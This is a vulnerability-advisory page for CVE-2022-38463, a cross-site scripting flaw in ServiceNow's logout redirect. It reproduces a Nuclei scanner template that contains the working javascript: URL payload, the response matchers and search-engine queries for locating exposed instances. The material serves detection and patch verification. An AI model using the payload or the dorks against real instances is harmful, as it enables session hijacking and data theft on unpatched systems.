CVE-2022-38463: ServiceNow - Cross-Site Scripting

日期: 2025-08-01 | 影响软件: ServiceNow | POC: 已公开

漏洞描述

ServiceNow through San Diego Patch 4b and Patch 6 contains a cross-site scripting vulnerability in the logout functionality, which can enable an unauthenticated remote attacker to execute arbitrary JavaScript.

PoC代码[已公开]

id: CVE-2022-38463

info:
  name: ServiceNow - Cross-Site Scripting
  author: amanrawat
  severity: medium
  description: |
    ServiceNow through San Diego Patch 4b and Patch 6 contains a cross-site scripting vulnerability in the logout functionality, which can enable an unauthenticated remote attacker to execute arbitrary JavaScript.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, data theft, or defacement of the affected ServiceNow instance.
  remediation: |
    Apply the latest security patches provided by ServiceNow to mitigate this vulnerability.
  reference:
    - https://support.servicenow.com/kb?id=kb_article_view&sysparm_article=KB1156793
    - https://nvd.nist.gov/vuln/detail/CVE-2022-38463
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Henry4E36/POCS
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-38463
    cwe-id: CWE-79
    epss-score: 0.51263
    epss-percentile: 0.97807
    cpe: cpe:2.3:a:servicenow:servicenow:san_diego:patch_4:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: servicenow
    product: servicenow
    shodan-query:
      - http.title:"ServiceNow"
      - http.title:"servicenow"
      - http.favicon.hash:1701804003
    fofa-query:
      - title="servicenow"
      - icon_hash=1701804003
    google-query: intitle:"servicenow"
  tags: cve,cve2022,servicenow,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/logout_redirect.do?sysparm_url=//j%5c%5cjavascript%3aalert(document.domain)"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "top.location.href = 'javascript:alert(document.domain)';"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a0046304402204be278f58cfd2efdc2fb76a544430f13fbc197f8e557b218d84f425ef768ef490220330e4796892db4b9071bba9acb13976b3a0ffcd8f06f3a07a3ed90835b2a01b3:922c64590222798bb761d5b6d8e72950
来源: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-38463.yaml

相关漏洞推荐